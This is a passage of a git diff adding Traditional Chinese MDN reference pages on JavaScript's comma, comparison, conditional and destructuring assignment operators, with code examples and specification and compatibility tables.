+<h2 id="範例">範例</h2>
+
+<p>If <code>a</code> is a 2-dimensional array with 10 elements on each side, the following code uses the comma operator to increment two variables at once.</p>
+
+<p>The following code prints the values of the diagonal elements in the array:</p>
+
+<pre class="brush:js;highlight:[1]">for (var i = 0, j = 9; i &lt;= 9; i++, j--)
+  console.log("a[" + i + "][" + j + "] = " + a[i][j]);</pre>
+
+<p>Note that the comma in assignments such as the <code>var</code> statement may appear not to have the normal effect of comma operators because they don't exist within an expression. In the following example, <code>a</code> is set to the value of <code>b = 3</code> (which is 3), but the <code>c = 4</code> expression still evaluates and its result returned to console (i.e., 4). This is due to <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">operator precedence and associativity</a>.</p>
+
+<pre class="brush: js">// Note that the following creates globals and is disallowed in strict mode.
+
+a = b = 3, c = 4; // Returns 4 in console
+console.log(a); // 3 (left-most)
+
+x = (y = 5, z = 6); // Returns 6 in console
+console.log(x); // 6 (right-most)
+</pre>
+
+<p>The comma operator is fully different from the comma within arrays, objects, and function arguments and parameters.</p>
+
+<h3 id="Processing_and_then_returning">Processing and then returning</h3>
+
+<p>Another example that one could make with comma operator is processing before returning. As stated, only the last element will be returned but all others are going to be evaluated as well. So, one could do:</p>
+
+<pre class="brush: js">function myFunc () {
+  var x = 0;
+
+  return (x += 1, x); // the same as return ++x;
+}</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-comma-operator', 'Comma operator')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-comma-operator', 'Comma operator')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.14', 'Comma operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.14', 'Comma operator')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for loop</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/operators/comparison_operators/index.html b/files/zh-tw/web/javascript/reference/operators/comparison_operators/index.html
new file mode 100644
index 0000000000..70345e158c
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/operators/comparison_operators/index.html
@@ -0,0 +1,283 @@
+---
+title: 比較運算子
+slug: Web/JavaScript/Reference/Operators/Comparison_Operators
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>JavaScript has both strict and type–converting comparisons. A strict comparison (e.g., <code>===</code>) is only true if the operands are of the same type and the contents match. The more commonly-used abstract comparison (e.g. <code>==</code>) converts the operands to the same type before making the comparison. For relational abstract comparisons (e.g., <code>&lt;=</code>), the operands are first converted to primitives, then to the same type, before comparison.</p>
+
+<p>Strings are compared based on standard lexicographical ordering, using Unicode values.</p>
+
+<p>Features of comparisons:</p>
+
+<ul>
+ <li>Two strings are strictly equal when they have the same sequence of characters, same length, and same characters in corresponding positions.</li>
+ <li>Two numbers are strictly equal when they are numerically equal (have the same number value). <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN" title="NaN">NaN</a> is not equal to anything, including NaN. Positive and negative zeros are equal to one another.</li>
+ <li>Two Boolean operands are strictly equal if both are <code>true</code> or both are <code>false</code>.</li>
+ <li>Two distinct objects are never equal for either strict or abstract comparisons.</li>
+ <li>An expression comparing Objects is only true if the operands reference the same Object.</li>
+ <li>Null and Undefined Types are strictly equal to themselves and abstractly equal to each other.</li>
+</ul>
+
+<h2 id="Equality_operators">Equality operators</h2>
+
+<h3 id="Equality_()"><a name="Equality">Equality (==)</a></h3>
+
+<p>The equality operator converts the operands if they are <strong>not of the same type</strong>, then applies strict comparison. If <strong>both operands are objects</strong>, then JavaScript compares internal references which are equal when operands refer to the same object in memory.</p>
+
+<h4 id="Syntax">Syntax</h4>
+
+<pre class="syntaxbox">x == y
+</pre>
+
+<h4 id="Examples">Examples</h4>
+
+<pre class="brush: js">  1   ==  1        // true
+ "1"  ==  1        // true
+  1   == '1'       // true
+  0   == false     // true
+  0   == null      // false
+var object1 = {"value":"key"}, object2={"value":"key"};
+object1 == object2 //false
+
+  0   == undefined // false
+null  == undefined // true
+</pre>
+
+<h3 id="Inequality_(!)"><a name="Inequality">Inequality (!=)</a></h3>
+
+<p>The inequality operator returns true if the operands are not equal. If the two operands are <strong>not of the same type</strong>, JavaScript attempts to convert the operands to an appropriate type for the comparison. If <strong>both operands are objects</strong>, then JavaScript compares internal references which are not equal when operands refer to different objects in memory.</p>
+
+<h4 id="Syntax_2">Syntax</h4>
+
+<pre class="syntaxbox">x != y</pre>
+
+<h4 id="Examples_2">Examples</h4>
+
+<pre class="brush: js">1 !=   2     // true
+1 !=  "1"    // false
+1 !=  '1'    // false
+1 !=  true   // false
+0 !=  false  // false
+</pre>
+
+<h3 id="Identity_strict_equality_()"><a name="Identity">Identity / strict equality (===)</a></h3>
+
+<p>The identity operator returns true if the operands are strictly equal (see above) <strong>with no type conversion</strong>. </p>
+
+<h4 id="Syntax_3">Syntax</h4>
+
+<pre class="syntaxbox">x === y</pre>
+
+<h4 id="Examples_3">Examples</h4>
+
+<pre class="brush: js ">3 === 3   // true
+3 === '3' // false
+var object1 = {"value":"key"}, object2={"value":"key"};
+object1 === object2 //false</pre>
+
+<p> </p>
+
+<h3 id="Non-identity_strict_inequality_(!)"><a name="Nonidentity">Non-identity / strict inequality (!==)</a></h3>
+
+<p>The non-identity operator returns true if the operands <strong>are not equal and/or not of the same type</strong>.</p>
+
+<h4 id="Syntax_4">Syntax</h4>
+
+<pre class="syntaxbox">x !== y</pre>
+
+<h4 id="Examples_4">Examples</h4>
+
+<pre class="brush: js">3 !== '3' // true
+4 !== 3   // true
+</pre>
+
+<h2 id="Relational_operators">Relational operators</h2>
+
+<p>Each of these operators will call the <code>valueOf()</code> function on each operand before a comparison is made.</p>
+
+<h3 id="Greater_than_operator_(>)"><a name="Greater_than_operator">Greater than operator (&gt;)</a></h3>
+
+<p>The greater than operator returns true if the left operand is greater than the right operand.</p>
+
+<h4 id="Syntax_5">Syntax</h4>
+
+<pre class="syntaxbox">x &gt; y</pre>
+
+<h4 id="Examples_5">Examples</h4>
+
+<pre class="brush: js">4 &gt; 3 // true
+</pre>
+
+<h3 id="Greater_than_or_equal_operator_(>)"><a name="Greater_than_or_equal_operator">Greater than or equal operator (&gt;=)</a></h3>
+
+<p>The greater than or equal operator returns true if the left operand is greater than or equal to the right operand.</p>
+
+<h4 id="Syntax_6">Syntax</h4>
+
+<pre class="syntaxbox"> x &gt;= y</pre>
+
+<h4 id="Examples_6">Examples</h4>
+
+<pre class="brush: js">4 &gt;= 3 // true
+3 &gt;= 3 // true
+</pre>
+
+<h3 id="Less_than_operator_(&lt;)"><a name="Less_than_operator">Less than operator (&lt;)</a></h3>
+
+<p>The less than operator returns true if the left operand is less than the right operand.</p>
+
+<h4 id="Syntax_7">Syntax</h4>
+
+<pre class="syntaxbox"> x &lt; y</pre>
+
+<h4 id="Examples_7">Examples</h4>
+
+<pre class="brush: js">3 &lt; 4 // true
+</pre>
+
+<h3 id="Less_than_or_equal_operator_(&lt;)"><a id="Less_than_or_equal_operator" name="Less_than_or_equal_operator">Less than or equal operator (&lt;=)</a></h3>
+
+<p>The less than or equal operator returns true if the left operand is less than or equal to the right operand.</p>
+
+<h4 id="Syntax_8">Syntax</h4>
+
+<pre class="syntaxbox"> x &lt;= y</pre>
+
+<h4 id="Examples_8">Examples</h4>
+
+<pre class="brush: js">3 &lt;= 4 // true
+</pre>
+
+<h2 id="Using_the_Equality_Operators">Using the Equality Operators</h2>
+
+<p>The standard equality operators (<code>==</code> and <code>!=</code>) use the <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.9.3">Abstract Equality Comparison Algorithm</a> to compare two operands. If the operands are of different types, it will attempt to convert them to the same type before making the comparison, e.g., in the expression <code>5 == '5'</code>, the string on the right is converted to {{jsxref("Number")}} before the comparison is made.</p>
+
+<p>The strict equality operators (<code>===</code> and <code>!==</code>) use the <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.9.6">Strict Equality Comparison Algorithm</a> and are intended for performing equality comparisons on operands of the same type. If the operands are of different types, the result is always <code>false</code> so <code>5 !== '5'</code>.</p>
+
+<p>Use strict equality operators if the operands must be of a specific type as well as value or if the exact type of the operands is important. Otherwise, use the standard equality operators, which allow you to compare the identity of two operands even if they are not of the same type.</p>
+
+<p>When type conversion is involved in the comparison (i.e., non–strict comparison), JavaScript converts the types {{jsxref("String")}}, {{jsxref("Number")}}, {{jsxref("Boolean")}}, or {{jsxref("Object")}} operands as follows:</p>
+
+<ul>
+ <li>When comparing a number and a string, the string is converted to a number value. JavaScript attempts to convert the string numeric literal to a <code>Number</code> type value. First, a mathematical value is derived from the string numeric literal. Next, this value is rounded to nearest <code>Number</code> type value.</li>
+ <li>If one of the operands is <code>Boolean</code>, the Boolean operand is converted to 1 if it is <code>true</code> and +0 if it is <code>false</code>.</li>
+ <li>If an object is compared with a number or string, JavaScript attempts to return the default value for the object. Operators attempt to convert the object to a primitive value, a <code>String</code> or <code>Number</code> value, using the <code>valueOf</code> and <code>toString</code> methods of the objects. If this attempt to convert the object fails, a runtime error is generated.</li>
+ <li>Note that an object is converted into a primitive if, and only if, its comparand is a primitive. If both operands are objects, they're compared as objects, and the equality test is true only if both refer the same object.</li>
+</ul>
+
+<div class="note"><strong>Note:</strong> String objects are Type Object, not String! String objects are rarely used, so the following results might be surprising:</div>
+
+<pre class="brush:js">// true as both operands are type String (i.e. string primitives):
+'foo' === 'foo'
+
+var a = new String('foo');
+var b = new String('foo');
+
+// false as a and b are type Object and reference different objects
+a == b
+
+// false as a and b are type Object and reference different objects
+a === b
+
+// true as a and 'foo' are of different type and, the Object (a)
+// is converted to String 'foo' before comparison
+a == 'foo'</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Adds <code>===</code> and <code>!==</code> operators. Implemented in JavaScript 1.3</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.8')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Defined in several sections of the specification: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.8">Relational Operators</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.9">Equality Operators</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-relational-operators')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Defined in several sections of the specification: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-relational-operators">Relational Operators</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-equality-operators">Equality Operators</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-relational-operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Defined in several sections of the specification: <a href="http://tc39.github.io/ecma262/#sec-relational-operators">Relational Operators</a>, <a href="http://tc39.github.io/ecma262/#sec-equality-operators">Equality Operators</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Object.is()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness">Equality comparisons and sameness</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/operators/conditional_operator/index.html b/files/zh-tw/web/javascript/reference/operators/conditional_operator/index.html
new file mode 100644
index 0000000000..78fb9a4a55
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/operators/conditional_operator/index.html
@@ -0,0 +1,101 @@
+---
+title: 條件運算子
+slug: Web/JavaScript/Reference/Operators/Conditional_Operator
+translation_of: Web/JavaScript/Reference/Operators/Conditional_Operator
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><span class="seoSummary"><strong>條件 (三元) 運算子</strong> 是 JavaScript 唯一用到三個運算元的運算子：在一個條件後面會跟著一個問號 (<code>?</code>)，如果條件是 <a href="/en-US/docs/Glossary/truthy">truthy</a>，在冒號(<code>:</code>)前的表達式會被執行，如果條件是 <a href="/en-US/docs/Glossary/falsy">falsy</a>，在冒號後面的表達式會被執行，</span>這個運算子常常被用來當作 <a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else"><code>if</code></a> 的簡潔寫法.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-conditionaloperators.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox notranslate"><var>condition</var> ? <var>exprIfTrue</var> : <var>exprIfFalse</var></pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code><var>condition</var></code></dt>
+ <dd>值用來做為條件的表達式</dd>
+ <dt><code><var>exprIfTrue</var></code></dt>
+ <dd>如果 <code><var>condition</var></code> 的值是 <a href="/en-US/docs/Glossary/truthy">truthy</a> (等於或是可轉換為 <code>true</code>) , <code><var>exprIfTrue</var></code>  會被執行</dd>
+ <dt><code><var>exprIfFalse</var></code></dt>
+ <dd>如果 <code><var>condition</var></code> 的值是 <a href="/en-US/docs/Glossary/falsy">falsy</a> (等於或是可轉換為 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">false</span></font>) , <code><var>exprIfFalse</var></code>  會被執行</dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<p>除了 <code>false</code>, 可能是 falsy 的表達式有 <code>null</code>, <code>NaN</code>, <code>0</code>, 空字串 (<code>""</code>) 和 <code>undefined</code>. 如果<code><var>condition</var></code> 是他們其中之一 , 那麼條件表達式的結果會是 <code>exprIfFalse</code> 的執行結果. </p>
+
+<p>一個簡單的範例:</p>
+
+<pre class="brush: js notranslate">var age = 26;
+var beverage = (age &gt;= 21) ? "Beer" : "Juice";
+console.log(beverage); // "Beer"
+</pre>
+
+<p>一個常用來處理 <code>null</code> 的用法 : </p>
+
+<pre class="brush: js notranslate">function greeting(person) {
+    var name = person ? person.name : "stranger";
+    return "Howdy, " + name;
+}
+
+console.log(greeting({name: 'Alice'}));  // "Howdy, Alice"
+console.log(greeting(null));             // "Howdy, stranger"
+</pre>
+
+<h3 id="條件鏈">條件鏈</h3>
+
+<p>條件 (三元) 運算子是右相依性的 (right-associative), 代表他可以以下面的方式鏈結 , 類似於 <code>if … else if … else if … else</code> 的鏈結方法 :</p>
+
+<pre class="brush: js notranslate">function example(…) {
+    return condition1 ? value1
+         : condition2 ? value2
+         : condition3 ? value3
+         : value4;
+}
+
+// Equivalent to:
+
+function example(…) {
+    if (condition1) { return value1; }
+    else if (condition2) { return value2; }
+    else if (condition3) { return value3; }
+    else { return value4; }
+}
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-conditional-operator', 'Conditional Operator')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("javascript.operators.conditional")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if statement</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing_operator">Nullish coalescing operator</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining">Optional chaining</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals">Making decisions in your code — conditionals</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators">Expressions and operators</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/operators/destructuring_assignment/index.html b/files/zh-tw/web/javascript/reference/operators/destructuring_assignment/index.html
new file mode 100644
index 0000000000..0cae43e2b5
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/operators/destructuring_assignment/index.html
@@ -0,0 +1,423 @@
+---
+title: 解構賦值
+slug: Web/JavaScript/Reference/Operators/Destructuring_assignment
+tags:
+  - Destructuring
+  - Destructuring_assignment
+  - ECMAScript 2015
+  - ES6
+  - JavaScript
+  - Language feature
+  - Operator
+  - 解構
+translation_of: Web/JavaScript/Reference/Operators/Destructuring_assignment
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>解構賦值</strong> (Destructuring assignment) 語法是一種 JavaScript 運算式，可以把陣列或物件中的資料解開擷取成為獨立變數。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-destructuringassignment.html", "taller")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush:js">let a, b, rest;
+[a, b] = [10, 20];
+console.log(a); // 10
+console.log(b); // 20
+
+[a, b, ...rest] = [10, 20, 30, 40, 50];
+console.log(a); // 10
+console.log(b); // 20
+console.log(rest); // [30, 40, 50]
+
+({ a, b } = { a: 10, b: 20 });
+console.log(a); // 10
+console.log(b); // 20
+
+
+// Stage 4(finished) proposal
+({a, b, ...rest} = {a: 10, b: 20, c: 30, d: 40});
+console.log(a); // 10
+console.log(b); // 20
+console.log(rest); // {c: 30, d: 40}
+</pre>
+
+<h2 id="描述">描述</h2>
+
+<p>物件與陣列運算式提供了簡單的方式，建立特定的資料組。</p>
+
+<pre class="brush: js">const x = [1, 2, 3, 4, 5];</pre>
+
+<p>解構賦值使用類似語法；不過在指定敘述式的左側，要宣告從來源變數接收解開值之變數。</p>
+
+<pre class="brush: js">const x = [1, 2, 3, 4, 5];
+const [y, z] = x;
+console.log(y); // 1
+console.log(z); // 2
+</pre>
+
+<p>Perl 和 Python 也有類似的語法和功能。</p>
+
+<h2 id="陣列解構">陣列解構</h2>
+
+<h3 id="基本變數指定敘述">基本變數指定敘述</h3>
+
+<pre class="brush: js">const foo = ['one', 'two', 'three'];
+
+const [red, yellow, green] = foo;
+console.log(red); // "one"
+console.log(yellow); // "two"
+console.log(green); // "three"
+</pre>
+
+<h3 id="宣告指派分開敍述">宣告指派分開敍述</h3>
+
+<p>變數可以在宣告式後，再透過解構賦值。</p>
+
+<pre class="brush:js">let a, b;
+
+[a, b] = [1, 2];
+console.log(a); // 1
+console.log(b); // 2
+</pre>
+
+<h3 id="預設值">預設值</h3>
+
+<p>當解構來源陣列對應的元素是 undefined 時，變數可以被設定預設值。</p>
+
+<pre class="brush: js">let a, b;
+
+[a=5, b=7] = [1];
+console.log(a); // 1
+console.log(b); // 7
+</pre>
+
+<h3 id="變數交換">變數交換</h3>
+
+<p>兩個變數可以透過一個解構指派式交換。</p>
+
+<p>沒有解構指派式時，這需要一個暫存變數來達成（或者像某些低階語言的 <a class="external" href="https://en.wikipedia.org/wiki/XOR_swap_algorithm">XOR-swap trick</a>）。</p>
+
+<pre class="brush:js">let a = 1;
+let b = 3;
+
+[a, b] = [b, a];
+console.log(a); // 3
+console.log(b); // 1
+
+const arr = [1,2,3];
+[arr[2], arr[1]] = [arr[1], arr[2]];
+console.log(arr); // [1,3,2]
+
+</pre>
+
+<h3 id="解析自函式回傳的陣列">解析自函式回傳的陣列</h3>
+
+<p>一直以來函式都可以回傳陣列，而解構指派式可以讓回傳的值更加簡潔。</p>
+
+<p>在這個例子， <code>f()</code> 回傳 <code>[1, 2]</code> ，接著透過一個解構指派式解析。</p>
+
+<pre class="brush:js">function f() {
+  return [1, 2];
+}
+
+let a, b;
+[a, b] = f();
+console.log(a); // 1
+console.log(b); // 2
+</pre>
+
+<h3 id="忽略某些回傳值">忽略某些回傳值</h3>
+
+<p>你可以忽略某些回傳值：</p>
+
+<pre class="brush:js">function f() {
+  return [1, 2, 3];
+}
+
+const [a, , b] = f();
+console.log(a); // 1
+console.log(b); // 3
+</pre>
+
+<p>當然你也可以忽略全部回傳值：</p>
+
+<pre class="brush:js">[,,] = f();
+</pre>
+
+<h3 id="把矩陣剩餘部分解構到一個變數">把矩陣剩餘部分解構到一個變數</h3>
+
+<p>解構一個陣列時，你可以透過其餘元素（rest pattern）將來源剩下之元素指派到一個變數：</p>
+
+<pre class="brush: js">const [a, ...b] = [1, 2, 3];
+console.log(a); // 1
+console.log(b); // [2, 3]</pre>
+
+<p>要注意的是，當左邊函式裡使用其餘解構，同時使用結尾逗號，這樣會拋出例外 {{jsxref("SyntaxError")}} :</p>
+
+<pre class="brush: js example-bad">const [a, ...b,] = [1, 2, 3];
+
+// SyntaxError 語法錯誤: 其餘元素不可以跟隨結尾逗號
+// 需要把其餘運算子放在最後的元素
+</pre>
+
+<h3 id="從正則運算式的比對結果取值">從正則運算式的比對結果取值</h3>
+
+<p>當正則運算式的方法 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec">exec()</a></code> 比對到一個值，其回傳陣列中的第一個值是相符的完整字串，後績的則是比對到正則運算式每組括號內的部分。當你沒需要利用第一個完整比對結果時，解構指派式讓你更簡單的取出後績元素。</p>
+
+<pre class="brush:js">function parseProtocol(url) {
+  const parsedURL = /^(\w+)\:\/\/([^\/]+)\/(.*)$/.exec(url);
+  if (!parsedURL) {
+    return false;
+  }
+  console.log(parsedURL); // ["https://developer.mozilla.org/en-US/Web/JavaScript", "https", "developer.mozilla.org", "en-US/Web/JavaScript"]
+
+  const [, protocol, fullhost, fullpath] = parsedURL;
+  return protocol;
+}
+
+console.log(parseProtocol('https://developer.mozilla.org/en-US/Web/JavaScript')); // "https"
+</pre>
+
+<h2 id="物件解構">物件解構</h2>
+
+<h3 id="基本指派式">基本指派式</h3>
+
+<pre class="brush: js">const o = {p: 42, q: true};
+const {p, q} = o;
+
+console.log(p); // 42
+console.log(q); // true
+</pre>
+
+<h3 id="無宣告指派">無宣告指派</h3>
+
+<p>變數可以在宣告式後，再透過解構進行指派。</p>
+
+<pre class="brush:js">let a, b;
+
+({a, b} = {a:1, b:2});</pre>
+
+<div class="note">
+<p><strong>注意</strong>：當針對物件進行解構，而該句式沒有進行宣告時，指派式外必須加上括號 <code>( ... )</code> 。</p>
+
+<p><code>{a, b} = {a: 1, b: 2}</code> 不是有效的獨立語法，因為左邊的 <code>{a, b}</code> 被視為程式碼區塊而非物件。</p>
+
+<p>然而，<code>({a, b} = {a: 1, b: 2})</code> 是有效的，如同 <code>const {a, b} = {a: 1, b: 2}</code></p>
+
+<p><code>( ... )</code> 表達式前句需要以分號結束，否則可能把上一句視為函式隨即執行。</p>
+</div>
+
+<h3 id="指派到新的變數名稱">指派到新的變數名稱</h3>
+
+<p>物件中的屬性可以解構並擷取到名稱跟該屬性不一樣的變數。</p>
+
+<pre class="brush: js">const o = {p: 42, q: true};
+const {p: foo, q: bar} = o;
+
+console.log(foo); // 42
+console.log(bar); // true</pre>
+
+<p>舉例來說， <code>const {p: foo} = o</code> 把物件 <code>o</code> 裡名為 <code>p</code> 的屬性解出並指派到一個名為 <code>foo</code> 的本地變數。</p>
+
+<h3 id="預設值_2">預設值</h3>
+
+<p>當解構物件中對應的值是 <code>undefined</code> 時，變數可以設定預設值。</p>
+
+<pre class="brush: js">const {a = 10, b = 5} = {a: 3};
+
+console.log(a); // 3
+console.log(b); // 5</pre>
+
+<h3 id="指定新的變數名稱及預設值">指定新的變數名稱及預設值</h3>
+
+<p>屬性 1) 可以從物件中被解開，且被指定一個不同名稱的變數及 2) 同時指定一個預設值，在解開的值為 <code>undefined</code> 時使用。</p>
+
+<pre class="brush: js">const {a:aa = 10, b:bb = 5} = {a: 3};
+
+console.log(aa); // 3
+console.log(bb); // 5
+</pre>
+
+<h3 id="從作為函式參數的物件中提出某屬性的值">從作為函式參數的物件中提出某屬性的值</h3>
+
+<pre class="brush:js">const user = {
+  id: 42,
+  displayName: 'jdoe',
+  fullName: {
+    firstName: 'John',
+    lastName: 'Doe'
+  }
+};
+
+function userId({id}) {
+  return id;
+}
+
+function whois({displayName, fullName: {firstName: name}}) {
+  return `${displayName} is ${name}`;
+}
+
+console.log(userId(user)); // 42
+console.log(whois(user));  // "jdoe is John"</pre>
+
+<p>這樣從 user 物件中提出了 <code>id</code>, <code>displayName</code> 和 <code>firstName</code> 並且印出。</p>
+
+<h3 id="設定函式參數的預設值">設定函式參數的預設值</h3>
+
+<pre class="brush: js">function drawChart({size = 'big', coords = {x: 0, y: 0}, radius = 25} = {}) {
+  console.log(size, coords, radius);
+  // do some chart drawing
+}
+
+drawChart({
+  coords: {x: 18, y: 30},
+  radius: 30
+});</pre>
+
+<div class="note">
+<p>在上述函式 <strong><code>drawChart</code></strong> 中，左方之解構式被指派到一個空物件: <code>{size = 'big', coords = {x: 0, y: 0}, radius = 25} = {}</code> 。你也可以略過填寫右方的指派式。不過，當你沒有使用右方指派式時，函式在呼叫時會找出最少一個參數。透過上述形式，你可以直接不使用參數的呼叫 <code><strong>drawChart()</strong></code> 。當你希望在呼叫這個函式時不傳送參數，這個設計會帶來方便。而另一個設計則能讓你確保函式必須傳上一個物件作為參數。</p>
+</div>
+
+<h3 id="巢狀物件或陣列的解構">巢狀物件或陣列的解構</h3>
+
+<pre class="brush:js">const metadata = {
+  title: 'Scratchpad',
+  translations: [
+    {
+      locale: 'de',
+      localization_tags: [],
+      last_edit: '2014-04-14T08:43:37',
+      url: '/de/docs/Tools/Scratchpad',
+      title: 'JavaScript-Umgebung'
+    }
+  ],
+  url: '/en-US/docs/Tools/Scratchpad'
+};
+
+let {
+  title: englishTitle, // rename
+  translations: [
+    {
+       title: localeTitle, // rename
+    },
+  ],
+} = metadata;
+
+console.log(englishTitle); // "Scratchpad"
+console.log(localeTitle);  // "JavaScript-Umgebung"</pre>
+
+<h3 id="循環取出的解構">循環取出的解構</h3>
+
